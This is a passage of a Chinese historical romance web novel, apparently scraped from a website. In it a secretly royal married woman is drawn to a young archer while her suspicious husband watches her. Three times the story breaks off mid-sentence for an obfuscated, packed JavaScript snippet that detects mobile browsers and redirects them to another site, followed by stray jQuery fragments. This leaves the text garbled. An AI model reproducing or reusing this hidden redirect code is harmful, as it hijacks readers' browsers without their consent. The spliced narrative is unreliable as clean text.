“你要是感觉疼的话,就咬下糖葫芦。”许拾安犹豫了下,一撩袖子,视死如归的闭上眼道,“要是你感觉疼的话,也不是,不能咬我手腕。”
谢知虞看着递到嘴边的手,见他全然不是开玩笑时,心脏仿佛被一根丝线轻轻牵扯,“你为什么对我那么好,就因为上次我把绣球还给你吗?”
“疼的时候吃些糖会不那么难受。”许拾安对上她清冷澄净的一双眸子,忽然觉得耳根发热避开她目光,含糊不清道,“嗯,我就是因为上次的事想和你道谢。”
她是别人的妻子,要是没有披着一层道谢的外皮,他的行为孟浪得称得上是骚扰了,按照燕国律法得要杖二十。
听完他的解释,谢知虞不知是庆幸还是失落,“谢谢,但我并不喜欢吃糖葫芦。”
以前吃药的时候没有糖,现在也不需要。
否则她怕自己吃药后有糖吃,会开始变得越发贪心。
丹祥从未做过这种挑石子的事,又担心会弄疼夫人,以至于给夫人挑石子的时候手总忍不住抖。
人越慌,手更容易出错。
在她又一次手抖戳中伤口后,眉头蹙起的许拾安看不下去地挤了进来,“我来吧,没见你家夫人疼得都脸色发白了吗。”
嘴唇翕动的丹祥抬起头,才注意到夫人脸色发白,额间隐有薄汗沁出,顿时手足无措得红了眼眶,“夫人,我
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17563059|204601||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
不是故意的。”
脸色发白,显得小巧朱唇越发嫣红饱满的谢知虞摇头,“没事,要怪就怪石子扎进去太深,石子又生得细小。”
接替了丹祥位置的许拾安看着皮肉翻滚露出软肉,明显比一开始严重很多的掌心,“可能会有些疼,你忍一下。”
他在挑石子前,还往她掌心吹了一口气,恰似羽毛划过,泛起细微痒意,又好似在她心湖划过,泛起微微涟漪。
“夫人,奴婢拿水回来了。”左右手各自端着一碗清水回来的青吉,她见给夫人处理伤口的是那位许公子,反观丹祥就站在旁边,正要不悦出声。
丹祥走过来接过她手里的其中一碗水,“许公子对处理伤口有经验。”
雪白贝齿轻咬朱唇的谢知虞凝眸,注视着正低头为自己处理伤口的少年,发现他的睫毛很长,就像一把蒲扇。
鼻梁高挺,眉眼深邃,两腮似有线条斜斜收到下颌。
周围的声音在此刻皆离他们远去,唯剩下彼此交缠的呼吸声清晰可闻,连带着她的一颗心都像水里海棠浮浮沉沉。
许拾安把她掌心里的碎石子挑出来,才松开她的手,端起清水时,不忘和她说一句,“等下可能会有些疼,你忍下。”
谢知虞刚点头,冰冷的清水就溅上伤口,酸疼得她想把掌心收拢。
不算很疼,但是有一种像是蚂蚁在啃噬的酸疼感,而她向来不喜欢这种感觉。
她正想要把掌心收拢时,一只带着干燥清爽的手扣住她要蜷缩的指尖,把她的掌心伸直摊开,“伤口处理不干净,到时候留疤是小事,就怕伤口反反复复好得不彻底。本来一个月就能好彻底的伤口,难道夫人想要断断续续两三个月吗。”
他趁着谢知虞没有反应过来时,又从青吉手中接过另一碗清水,好把她平摊着的掌心伤处彻底清洗干净,露出里面翻滚的红粉软肉。
头皮一阵发麻的谢知虞以为好了,正要把指尖从他掌心收回,就看见他取出帕子先帮她沾水的伤口擦干净,然后从胸口里取出一瓶金疮药洒在她掌心上。
她正想要说,她有手帕,就见到他拧着眉踌躇了会,解下自己的鹤纹朱红发带一圈圈缠上她的伤口,并贴心地打了个蝴蝶结,“放心,这根发带是干净的,回去后记得不要碰水。”
红和白交相映,衬得她的手透着冷瓷的白,缠着伤口的发带又像吸饱了血的艳红牡丹。
浓睫轻颤的谢知虞蜷缩着收回手,“谢谢。”
她太久没有收到过这种纯粹的好意了,以至于不知道该怎么表达感谢,并思考着,她能给对方什么,对方又想要从她身上获取什么。
“只是一点小事,夫人要是和我说谢才是真的见外了。”没了束发的发带,许拾安的头发毫无拘束地散落下来。
并不显得邋遢,反倒是添了桀骜不驯的洒脱。
许拾安一只手抓起头发,一只手从袖口撕扯下一条布来,扯下来的布条放在嘴边轻咬,等两只手梳搂着弄好头发,一只手固定,另一只手从嘴里取过发带缠上绑好。
动作行云流水,熟练得好似做过不下百次。
谢知虞掌心好似发烫一样,缠着伤口发带像犹如水蛇缠着她,“我用了你的发带,我赔你根新发带吧。还有你的衣服是因我的缘故,我一道赔给你。”
“不用,只是一根发带而已。”刚束好头发的许拾安又问,“夫人是要回家了吗?”
许拾安不等她回答,桃花眼一弯,双眸如星好似盛了漫天星河,学着书生轻掸虚袖,双手作揖,郑重其事的行下一礼,“夫人要是信得过小生,不妨让小生做一回东道主,以尽地主之谊,就当是小生为上次误抛绣球一事赔礼道歉。”
4. 第 4 章
不知是不是在灯火下,显得他的眼睛过于明亮璀璨,连带着谢知虞心脏骤然漏了一拍。
指甲掐住掌心的谢知虞克制着胸腔剧烈起伏的心跳声,垂眸拒绝了他的好意,“今晚上灯会,公子理应要陪在家人旁边身边才对。”
她一个已经成婚的妇人,实在不便和外男多接触。
许拾安摸了下鼻尖,很是委屈可怜的说:“我父母并不在江南,刚才我和好友们玩行酒令,但我对这些一窍不通,酒量又不好,这才跑出来躲清闲的。要是我回去了,他们肯定会趁机灌我酒,到时候我怕是得要抱着木桶又哭又吐。”
并不想那么早回去的青吉倒是很赞同,“夫人,这位公子一看就是江南人氏,他肯定知道哪里有好吃的和好玩的。”
她知道夫人手受伤了,回去休息是最好的,但夫人来扬州这些天一直闷在府里都没有怎么出来过。
老爷抛下夫人去陪另一个女人,为什么夫人就得要孤零零的回府。
就连一向最重规矩的丹祥此时也没有出声,像是默认了青吉不合规矩的话。
私心里,谢知虞并不想那么早回去,何况她用了人家的发带,理应得要送礼还回去,免得以后再有多余牵扯,“如此,倒是有劳公子了。”
许拾安笑着露出八颗整齐牙齿,“不麻烦,反倒是我还得感谢夫人,要不然别人来逛庙会都是呼朋唤友成群结队,我孤单影只一人,反倒显得孤家寡人凄凄惨惨。”
“许公子谬赞了。”谢知虞从不知道,原来会有人的话那么多,又不会令人感到聒噪。
他去过的地方多,谢知虞看过的书多,彼此在聊起来的时候总能说到一块。他在说话的时候会留有话头等着她接上,顺势聊起她看过的书中世界,这是她从未有过的体验。
原来会有人专注听她说了什么,而不是永远说忙,留给她的直有远去的背影。
久而久之,把她在他面前彻底变成了一个沉默寡言的影子。
路过一个甜水小铺时,许拾安眉飞色舞的介绍道:“这里的桂花酒酿圆子一绝,你们来扬州城一定得要试一下,保证你们绝不后悔。”
“老板,要四碗桂花酒酿丸子。”他说完,才懊悔地敲了下脑壳,“抱歉,我刚才忘了问你们有没有忌口的。”
谢知虞摇头,“没有,逛了那么久我们正好也渴了。”
又问向青吉和丹祥,“你们有什么不吃的吗?”
青吉目光直勾勾盯着老板端上桌,还冒着凉凉雾气的桂花酒酿丸子,咽了口唾沫很是不好意思,“奴婢早就想吃桂花酒酿丸子了,但是不好开口说。”
丹祥亦摇头。
许拾安取出帕子把坐的凳子擦了一遍,然后指着远处卖吃食的小摊说,“你们在这里等我会,我去买点别的吃食过来。要不然光喝甜水难免会单调。”
他一走,丹祥心忧胆慌地凑过来,“夫人,这人那么热情,只怕心怀不轨。”
老爷和夫人秘密来江南,难保不会被有心人认出他们,以此从夫人身边入手,借机威胁老爷。
谢知虞垂眸看着被发带包裹的掌心,“此事我自有分寸,不必担心。”
“客官,你们要的桂花酒酿圆子来了。”老板端着七碗桂花酒酿圆子过来。
青花瓷碗里盛着胖嘟嘟,米白滚圆的糯米圆子滚在甜酒酿里浸染了满身酒气,几朵金黄桂花点缀其中。
有三碗是缀了桂花,另有三碗是加了红枣枸杞同煮不放桂花,软白金贵中又添了养生的红枣枸杞甜香。
所幸两碗的份量并不算多。
这时,手上拎着吃食的许拾安也回来了,“这些都是扬州出名的小食和我喜欢吃的,你们尝下是否合你们胃口。”
他把用荷叶包着的点心一一打开,还介绍着这些吃食的名,味道,“这薄皮大馅,灌汤流油的叫山涧梅花包子,说来这酥黄独还有人为它做了诗,叫什么雪翻夜钵裁成玉,春化寒酥剪作金的。这叫滴酥鲍螺,酥软香甜,梅子姜和芥辣瓜旋儿酸甜可口又带着丝丝微辣,很是开胃。”
“这些糕点分别是定胜糕,八珍糕,透花糍,白玉霜方糕,嵌桃麻糕,雪花酥和牛酥是用牛乳制成的,我觉得你们应该会喜欢。”就差把整个庙会吃食都搬来的许拾安,看着桌上不同的六碗酒酿丸子,解释道:“有人喜欢在酒酿丸子里加红枣枸杞,但我不喜欢,我又不知道你们口味如何,就各自要了两碗都给你们尝下。”
“许公子有心了。”谢知虞没想到他连这个都考虑到了,只是看着多得快连桌子都摆不下的吃食,“你买那么多,我们吃得完吗?”
“我买的份量不多,正好够吃。”主要是好不容易遇到,他想把每样自己喜欢吃和觉得不错的,都给她尝下。
毕竟她看起来太单薄了,恍如风大一些就能将她给吹折了去。
不禁令他忧心,她府上是不是闹了饥荒。
谢知虞端起只加了桂花的酒酿圆子,白瓷勺搁于碗中舀起一勺放进嘴里,酒味虽浓但不会醉人,圆子软糯不失嚼劲,一口下去是米酒的香桂花的甜。
一直盯着她的许拾安见她眉眼舒展,好似心中巨石落地,眉稍上挑带着丝得意,“怎么样,我就说这家酒酿丸子好吃吧。”
把食物咽下去的谢知虞点头,“味道确实不错。”
许拾安又把其它小食递过来,像只摇着尾巴邀宠的大狗,“除了酒酿丸子不错,这些你们也尝下。”
夹了块嵌桃麻糕放进嘴里的青吉吃得双眼发亮,“夫人,这个糕点好吃,你快尝一下。”
丹祥不说话,但是吃东西的速度明显加快了许多。
谢知虞胃口小,吃了半碗桂花酒酿丸子,又吃了两块芥辣瓜旋儿,就不再吃了。
许拾安见她吃了点就不吃了,问道:“是这些小食不合你胃口吗?”
“不是,是我出门时吃过饭了,并不是很饿。”指尖捏紧帕子的谢知虞担心他会不高兴,又添了句,“糕点和酒酿丸子都很好吃,我不是故意只吃一点的。”
谁知许拾安忽然蹙起眉头,就在谢知虞以为他是生气了,正要重新拿起一块糕点吃时,她面前的白玉霜方糕就被拿走,“吃不下就是吃不下,你不用和我解释,我没有不高兴。”
“可………”
许拾安打断她的可是,带着疑惑道:“你为什么觉得我会生气。”
然后又伸手指了下自己的脸,半撑起身陡然逼近她瞳孔,“难道我看起来是那种很小气的人吗,夫人?”
“夫人”二字经由他嘴里念出来,好似缠绵悱恻的耳鬓厮磨,温热的气息拂面而来,下意识令指尖揉着帕子的谢知虞生了逃避的胆怯,侧眸避开他过于炙热的目光,“没有。”
太近了,近得她都能看见他根根分明的纤长睫毛。
许拾安坐了回去,挑了下眉,“那夫人下次,万不能再这样把小生视为小气的洪水猛兽了。要不然小生才是真的要生气了。”
剩下他们吃不下了,许拾安毫不客气的都吃进嘴里。
谢知虞正要让丹祥去结账,老板却说已经有人付过了。
正往嘴里塞着白玉霜方糕的许拾安抬起头,目光诚恳的擦了下嘴,“我和你们出来,哪有让你们花钱的道理。”
等吃完后,许拾安想到她手上还没有花灯,指着远处挂满花灯又挤满了人处,“今天来参加庙会的都人手一盏灯,夫人可不能特殊不要灯。”
谢知虞前面是有花灯的,只是人群拥挤中被推倒挤散了。
她并未拒绝,也很好奇江南的谜题和汴京是否会有区别。
等过去了后,谢知虞才发现此次悬挂着的花灯下面并未有谜题,以为是将谜题藏在别处,或是要用烤,水淹才出现时。
心宽体胖的掌柜已是手持铜锣,笑着站上搭建好的台子,掌柜身后有一盏琉璃水晶宫灯,在月色灯光照耀下犹如一轮明月坠入凡尘,美好得不似凡物。
“今夜老夫这灯王可不是猜灯谜来的,只要射中老夫身后的柳叶,即可拿到。”随着掌柜一指,露出一片高挂在杆子上的柳叶。
不说距离,光说轻薄的柳叶随风飘荡,都会增加了额外的难度。
双手抱剑的许拾安转过身,灯火落在他眼里熠熠生辉,“你喜欢那盏花灯吗?你想要我就去给你取来,就当是上次的赔礼,你在我面前不用考虑什么,只告诉我,你是想要还是不想要。”
从小到大,所有人都对谢知虞说
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17563060|204601||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
她要克制yu望,哪怕是再想要也得要克制,否则就会日后遭了夫家厌弃。
但当谢知虞仰头望着那盏琉璃花灯,少年浅色瞳孔里倒映的自己。
那么的纤细,又那么的单薄,好似风大一些就能把她吹走了。
她第一次想要放下她身为太子妃的身份,诚实的面对自己的yu望,而后,她听见自己轻声说,“我想要那盏花灯。”
“你想要,我怎么也得要把它赢回来才行。”许拾安提前预测到她想说什么,先一步出声打断,“你放心,我既夸下海口,自然是要赢回来,要不然岂不是大丈夫言而无信,遭天下人嗤笑。”
前面已经有十多人上前挑战,但都挑战失败了,当许拾安上场的时候没有多少人看好。
毕竟他是那么的年轻,生得又是一张小白脸的样,别是还没拉开弓,脚就软了。
“你小子行不行啊,不行就赶紧下来,免得笑掉我们大牙。”
“赶紧下来吧,你要是能拉开弓,老子的名字就倒过来写。”
场下的青吉紧张得掌心都要握出汗来,“夫人,你说他会射中吗?”
“我信他。”谢知虞不知她的信任从何而来,就连自己都被自己吓了一大跳。
此时台下的起哄声嘘声此起彼伏,要是心志不坚者只怕还没开始就先怯了场,十分的本事最后只能堪堪显出三分。
许拾安对那些不看好自己的声音充而不闻,拉弓搭箭,眯着半只眼瞄准远处的柳叶。
一时之间,风动,叶动,人声全消失不见,唯有眼前的那枚柳叶在逐渐放大,逼近。
在箭离弓弦,发出铮铮破空响,手指攥着帕子的谢知虞整颗心都随之骤停,唯有目光正死死追随着那支远的羽箭。
要射中,一定要射中啊!
而后她看见,那支羽箭穿透了那片柳叶,带动它钉死在树干上,直到此时,她才惊觉,原来自己是能呼吸的。
刹那间满场死寂,像是根本想不到他居然真的会射中了。
收弓转过身的许拾安没有丝毫自傲,只是少年心性的漾起笑意,“老板,我射中了那枚杨柳,按规矩,灯是不是要归我。”
“公子好箭术!老夫甘拜下风,”掌柜毫不吝啬夸赞,愿赌服输的把花灯取下赠予他。
下了台的许拾安提着灯朝谢知虞走来,眼梢间全是少年意气,又带着几分等夸的自谦,“你看,就说了你要信我。”
当他提着灯,无视周围喧杂人声一步一步向自己走来的那一刻。
早已失望多次的谢知虞从未想过终有一日,会有人对她真的说到做到,更会把她说的话当了真,而不是敷衍。
可是在他把花灯送给自己时,谢知虞又生了胆怯的退缩,“谢谢,但是这个花灯太贵重了,我不能收。”
她害怕自己收下了花灯,就欠他太多了,更怕往后会因这盏花灯和他多生牵扯。
他们的交集,应该就此终结于今夜才对。
就当是一场梦,梦醒了就散了。
笑意凝固在脸上的许拾安把花灯往她怀里一塞,担心她再次拒绝,直接游鱼入水钻进了人群里,对着她摆手,“花灯是我答应送给夫人的赔礼,岂有食言的道理,很晚了,夫人回去的时候记得注意安全。”
等谢知虞反应过来追过去时,只来得及看见他飘扬的发尾,心脏像是被人不轻不重的捏了下。
不疼,只是有些酸酸胀胀的。
乘坐马车回去的路上,在快要到府门口,谢知虞把缠着掌心的发带解开,卷成团塞进自己袖袋里。
否则她不好交代,为什么她手上会有别的男人发带,今晚上发生的事,更让青吉丹祥二人守口如瓶。
至于花灯,就说是同别人手中买来的。
提着花灯回来的谢知虞,以为他今晚上不会回来了。
但在推开门看见那道站在窗边,正背对着她的挺拔身影时,险些连心脏都要随之停止跳动,哪怕她并未做出任何出阁的事来,仍有着轻微的心虚。
屋内并未点灯,整个人浸于黑暗中的楼怀玉转过身,指腹摩挲着白玉扳指,嗓音比浸了寒潭月色还清冷,“怎么那么晚才回来。”
“夫人。”
5. 第 5 章
在人群中转过身的许拾安看着潇洒得,挥一挥衣袖不带走一片云彩转身离开,偏生那颗心仍落那盏花灯的主人身上,反倒是自个胸腔空荡荡的。
满脑子都是一个,要是她笑起来是不是会更好看。
回到酒楼,已经喝大了的好友端着酒杯悠悠忽忽走过来,冲着他打了个酒嗝,“拾安,你可算回来了,你要是再不回来,我就得要被他们给灌趴下了。”
其他没有喝醉的好友好奇的问,“你刚才在楼下看见了什么,一声不吭就往外跑,我们都在打赌你是遇到了自个仇家。”
许拾安接过好友递来的一壶梨花白,豪迈的拎起酒壶仰头一饮而尽,抬手擦走唇边酒渍,“你们一个两个那么闲,看来是酒喝得还不够多。”
其实连许拾安自己都不知道,为何会在楼上看见她的瞬间时,连心跳都漏了一拍,然后像个自己所不耻,所鄙夷的地痞流氓尾随在后。
也在庆幸,幸好自己一路跟着她,要不然她真的就要摔倒在地了。
那么纤细单薄的一个人,怎么能在受了伤后还一声不吭。她的丫鬟也是,怎能不看好自家主子,任由主子走散了。
还有她丈夫真不是个东西,要是换成他,他才舍不得让她一个人出来逛庙会。
几朵乌云飘来遮住半空中的一轮悬月,也遮住了屋内仅有的一丝光亮。
手中捏着灯柄的谢知虞心虚得不敢告诉他关于许拾安的事,更不敢直视他目光的避开,“我下次会回来早点。”
每一次当自己想要和她说话,她却总能将话题终结的楼怀玉无奈又好笑,“我没有斥责你的意思,只是你出去玩的时候身边最少也得要带上护卫,江南不比汴京,周围多的是人盯着我们。”
当他靠近,身体有过片刻僵硬的谢知虞长睫微垂,“妾身知道了。”
“知道什么。”掌心抚上她小脸的楼怀玉并不打算放过她。
忽视脸上触碰的谢知虞诚恳的回道:“妾身往后出去不会那么晚回来,身边会带好护卫。”
“还有呢?”
谢知虞忽然想到什么,用自己没有受伤的那只手取出在庙会上买的,一枚色泽通透,入手温润,边缘雕刻着如意纹的白玉璧,“妾身觉得这枚玉佩很合适夫君。”
身为东宫太子,他的衣服穿戴配饰都是有规格的,可看着她去庙会都不忘为自己带礼物,心尖蓦然软成一团,“为我戴上。”
谢知虞想到受伤的手,犹豫了下仍是忍着疼痛为他系上。
谢知虞是希望他能发现自己手受伤的,但是当自己为他系上玉佩后,她的丈夫仍未注意到。也许是注意到了,但因为受伤的人是她,所以可以不用在意。
明明早知道了的一件事,为什么她心里还是会感到难受的失望。
楼怀玉垂眸凝视着为自己系上玉佩的小妻子,喉结再三滚动后,仅是说了一句,“玉璧很好,只是没有络子难免会显得单调。”
谢知虞点头,“等明日妾身醒来,便为夫君打上一条络子。”
“去洗澡吧,逛庙会回来肯定累了。”
在擦身而过时,楼怀玉闻到了不属于她身上的气味,眸色渐深的朝外吩咐,“去查夫人今晚见了什么人,又做了什么。”
余光扫到,桌上正放着他特意买回来给她的糕点,如今看来是用不上了,一并让叶从安拿去处理了。
谢知虞磨磨蹭蹭洗完澡出来后,楼怀玉还未睡,就连人都还在屋里,并没有同往常那样去了桐花胡同,或是去了书房歇息。
站在原地的谢知虞踌躇了一会儿,才走过来,颇有几分此地无银三百两的说,“今晚上我和丹祥他们逛了下庙会,吃了当地特色,然后买了盏花灯。夫君要是不喜,往后我会尽量少出门。”
“我并没有不让你出门,只是担心你不多带几个人怕你会出事。”坐在交椅上的楼怀玉翻着手上的书,忽然抬起头直勾勾盯着她,“夫人是在怪我今晚上突然扔下你吗。”
谢知虞不明白他为何会问这句,咬唇否认,“没有,妾身知道夫君是有事要忙。”
楼怀玉看了她一眼,这一眼看似很长,又不过像是随意间的一瞥,手中书随意扔到一旁往床边走去,“安寝吧。”
因为第一次对他说了谎,导致谢知虞在躺下来的时候,整个身体都是绷紧的。
躺在床上,当男人转过身搂住她腰,微凉的修长手指往小服里探去,身体有过抗拒的谢知虞就想到了他要做什么。
哪怕她现在累得眼皮子直打架,也没有拒绝的权利,伸出白皙纤细的手臂攀上男人的肩,耳边是他逐渐加重的呼吸声。
玉团被轻抚,亲吻得脚趾蜷缩起来的谢知虞竟有一瞬间,可耻地想到了许拾安的手。
他虽年少,可他的指腹虎口却生满了厚厚的茧子,手指修长骨节分明。拉弓射箭时,皮肉熨帖在骨头的手背上会浮现出清晰的青色筋络,指节则因用力微微泛白。
也是他细心的第一时间注意到她的手受了伤,取了自己发带为她包扎伤口,用那只手,为她赢下了一盏花灯。
呼吸沉重的楼怀玉松开手,把她弄乱的衣服放下,落个吻在她面颊,“睡吧,我不弄你。”
他手离开的时候,谢知虞心中不知是不是还是庆幸。
但她明白,她是有过愧疚的羞耻,羞愧自己在某一个瞬间当着自己丈夫的面,幻想着另一个男人的手。
这是不耻的,亦是违背了妇德。
许是今天太累了,没一会儿谢知虞就沉沉的坠入睡梦中。
睡着后的谢知虞好像感觉到有人把自己翻了过来,白皙修长得没有一丝多余赘肉的小腿被握住,她想要睁开眼,眼皮又沉重得难以睁开。
“夫,夫君。”就连想要开口说的话,都只能化为一道道撩人的音符。
“吵醒你了。”嗓音沙哑低沉的楼怀玉抚上她眼尾染红的一张脸,潮湿温热的吻没有一点缱绻,反倒是失了控般在她身上留下诸般痕迹。
“嘘,小点声,莫要惊醒了守夜的丫鬟。”
楼怀玉今晚上本想放过她的,又在见她直到睡前都不和自己说实话后,心里没由来升起一团怒火,让他迫切的想要伸手抓住什么。
从她进来时,他就知道她的手受伤了。
他想要让她主动开口,想要她向自己撒娇,想要让她学着依赖自己,但她没有,哪怕在自己让她为自己系上玉佩时,宁可蹙眉忍痛都不愿出声。
那么久了,她究竟有没有把自己当成一个能为她遮风挡雨的丈夫。
要是把他当成丈夫,为什么不学着依赖他一点。
正被一层层浪花拍打卷起又抛下又卷起,周而复始的谢知虞觉得今晚上的丈夫像是换了一个人,力度又凶又狠,恨不得把她折断在床榻间。
包裹着伤口的掌心绑带重新被扯开,一只骨骼修长的手覆上扣住她掌心和她十指紧扣。
伤口重新渗出血,蜿蜒流下弄脏了身下的米青色床单,晕染着朵朵血色。
掌心疼,身体疼,可疼痛中又带着一丝连她都唾弃的失控。
谢知虞醒来后,枕边已经空了,掌心的伤口重新上了药包扎起来,若非身上还残留着未散的酸软,她恐以为昨夜仅是一场无关紧要的梦。
对于他昨晚上说了什么,她早已记不清了,即便记得,估计也只有她一个人记住。
明知如此,醒来后的谢知虞仍问了一句,“老爷呢?”
眼睛不敢抬起的青吉和丹祥两人面面相觑,“老爷今早上有事出去了。”
谢知虞听后倒是神色平静,“抬水进来给我沐浴。”
她想到了自己昨晚上卷在袖袋里的那根发带,虽让丫鬟留着先不
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17563061|204601||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
要洗她的衣服,仍不放心的想要快些拿出来确认。
并清洗干净,好还给他。
正要从床上起来,只是刚站起来就双腿一软地往下摔去,低头间,能看见身上未散的斑驳红痕。
她皮肤娇嫩白皙,平日里稍不注意磕磕碰碰到就会青紫一片,难怪前面青吉和丹祥的神色如此担忧。
昨晚上,许拾安把喝得稀巴烂的好友一一送回家后,回到自个的小院,洗完澡就闷头睡了过去,还没等他睡醒,一道气势汹汹的娇俏身影手持长鞭,踹门闯了进来,“拾安哥哥,那天你接了我的绣球,为什么不娶我。”
鲤鱼打滚从床上坐起来的许拾安抓了把头发,看着前来兴师问罪的李清婉,顿感一个头两个大,“我一直把你当妹妹,哪有当兄长的接自己妹妹的绣球,传出去还要不要面子。”
“那天我根本没有接到你抛的绣球,只是你的绣球飞了我去帮你拿回来而已。”许拾安想到那天,难免想到要是那天没有意外把绣球踢到她那里。
他们两人是不是就不会见面?
手指攥得鞭柄的李清婉气得涨红了脸,挥鞭朝他床上甩去,“什么妹妹,我才不想要当你妹妹。我不管,你那天接了我的绣球,你就必须要娶我,要不然我哪儿还有脸活啊。”
跟在后面的李羡安揉了下鼻尖躲去一旁,好妹妹打了他,可不能打他这个兄长了。
在鞭子甩过来时,抓起床边衣服套上的许拾安左右躲避,略显滑稽,“我那天根本没有接绣球,只是答应你兄长来帮忙的,你们怎么能恩将仇报。”
李清婉对让二哥把他哄骗来接绣球一事虽心虚,但抛绣球本就是为中意他才办的,梗着脖子心虚,“反正你接了我绣球,你就必须娶我。”
对比于许拾安那里的鸡飞狗跳,刚吃完饭的谢知虞就见到管事满脸堆笑的过来,他的身后是抱着一大捧娇艳粉绿桃花的丫鬟,“夫人,这是老爷遣人送回来的桃花。”
“老爷他说是临时有事要出去一趟,并非是失约。”
谢知虞看着丫鬟抱进来的桃花,本以为这个季节桃花应该过了,又想说喜欢桃花的不是她,而是他的心上人,最后仅是收回目光,“丹祥,找个花瓶过来,要那个白瓷柳叶瓶。”
谢知虞又对管事道,“我知夫君不是失信之人,你告诉夫君,我并没有任何不悦。”
等管事走后,青吉围着桃花惊叹,“夫人,这桃花开得可真好,不过桃花不应该过了吗,怎么还有?”
江南的春天比其它地方来得早,在别处桃花可爱深红爱浅红,江南的桃花已化作春泥更护花。
谢知虞取出一枝桃花别上她髻发,“要是喜欢就多拿几枝到你屋里。”
青吉差点儿没把脑袋摇成拨浪鼓,“这是老爷送给夫人的,奴婢哪儿能要。”
“不过就是一件死物罢了。”何况这些桃花,说不定是那位挑后剩下的。
四月的尾巴快过时,烟雨蒙蒙的江南又一次落了雨。
旁人只是在诗词里了解杏花春雨江南,知它春水碧于天,画船听雨眠。雨打江南树,满地和烟雨。
可只有身处江南的人才明白,梅雨天有多烦人,不说青石板总是青苔横生,就连衣服上都带着一股子挥之不去的霉味。
自那天过后,谢知虞一连七天都没有看见楼怀玉,她也没有再出来,只是偶尔想到那盏被她束着高阁的花灯而走神。
他用来给自己包扎伤口的发带已经清洗干净了,就是不知何时再遇到,好把发带还给他。
或许除了发带,她还欠他一件衣服。
谢知虞想要让丹祥去打听下他住在哪里,又唯恐会被夫君察觉,从而给他带来不必要的麻烦。
也许,所有的一切她只能当成一场美好又虚幻的梦。
现在,也到了她该清醒的时候。
6. 第 6 章
夜里忽逢暴雨,紧闭的房门突然被推开,已经睡下的谢知虞瞬间梦中惊醒,正要唤守夜的婆子进来点蜡烛。
戴青箬笠,着绿蓑衣的男人出了声,“是我。”
一道惊雷白练凭空炸开,照出了来人俊美如玉的五官,也让谢知虞担惊受怕的那颗心落于原地。
“夫君怎的那么晚才回来,要是太晚了完全不必冒雨回来。”顾不上身上仅着单薄亵衣的谢知虞赤足踩着地板上前,为他解下蓑衣,又忙让守夜的婆子去厨房烧热水,煮姜汤。
在为他解下蓑衣时,谢知虞除了水汽潮湿和泥土腥气味,还闻到了一丝极淡的血腥味,心尖为之一颤,“夫君,你受伤了。”
“只是点小伤而已,不碍事。”楼怀玉不想让她担心,“让叶从安进来。”
又在看见她身上仅着了件遮不住玲珑曲线的单薄亵衣,目露不悦,“还不赶紧换件衣服,成何体统。”
“是妾身失礼了,妾身这就去换。”谢知虞知他是个说一不二的性子,即便有着满腹担忧疑问,最后都只是咽回肚里,换好衣服后就催促婆子把煮好的红糖姜汤端来。
很快,婆子把熬好的红糖姜汤端了进来。
候在檐下的谢知虞从婆子手中接过,准备推门进去时,正好听到他们在说话。
“主子,你原本能躲开的,为何………”
“我是能躲开,但我不能看着她在自己面前受伤无动于衷,要知道她很重要。”
短短两句话,就道尽了他为何会受伤的缘故。
能不惜让夫君以命相护的,除了那位,谢知虞想不出第二个。
他深夜带伤回来,或许是不想让他心上人担心。谢知虞不可否认,她是羡慕那位的,因为她除了没有一个正妻之位,她什么都拥有了。
沈从安推开门,看见站在门外的谢知虞,侧身让过,“夫人,你来了。”
谢知虞点头,“厨房熬好了姜汤,叶大人也去喝一碗驱驱寒气。”
“多谢夫人。”
“进来。”楼怀玉如同檐下落雨滴答的清冷声线骤然响起,像细雨拂过她身,惊起一片寒潮凉意。
进来后的谢知虞把姜汤放下后,犹豫了许久方才出声,“夫君,可要请大夫?”
“现在外面多的是眼睛盯着我,要是请了大夫,难保不会被人发现。”楼怀玉解开外衫,露出健壮有力,肌肉线条流畅的上身,只见他腰部下方有一条贯穿腰腹的狰狞伤口,因前面处理不当又淋了雨,伤口发白往外溢着血。
“过来。”
桌上摆放着绑带和止血的金疮药,屋里又仅剩下他们二人,想来是要让她帮忙处理伤口。
“妾身没有做过这些,要不还是让叶大人过来?”这句话谢知虞刚说出来,就自知说错地垂下眸子,拿起桌上的一卷绑带,解释道,“妾身担心自己手脚笨,恐会弄疼了夫君。”
“就你的那点儿力气能疼到哪里。”楼怀玉看着仅到自己胸口的小妻子吓得发白的小脸,心中难免愧疚是不是伤口吓到她了。
毕竟他的妻子比他小了足足六岁,当时嫁给他的时候真真可谓是一团孩子气。
克制着指尖发颤的谢知虞没有帮人包扎过伤口,只能硬着头皮,学着许拾安帮她包扎那样,先用清水清洗干净伤口,然后取出止血的粉末洒上去。
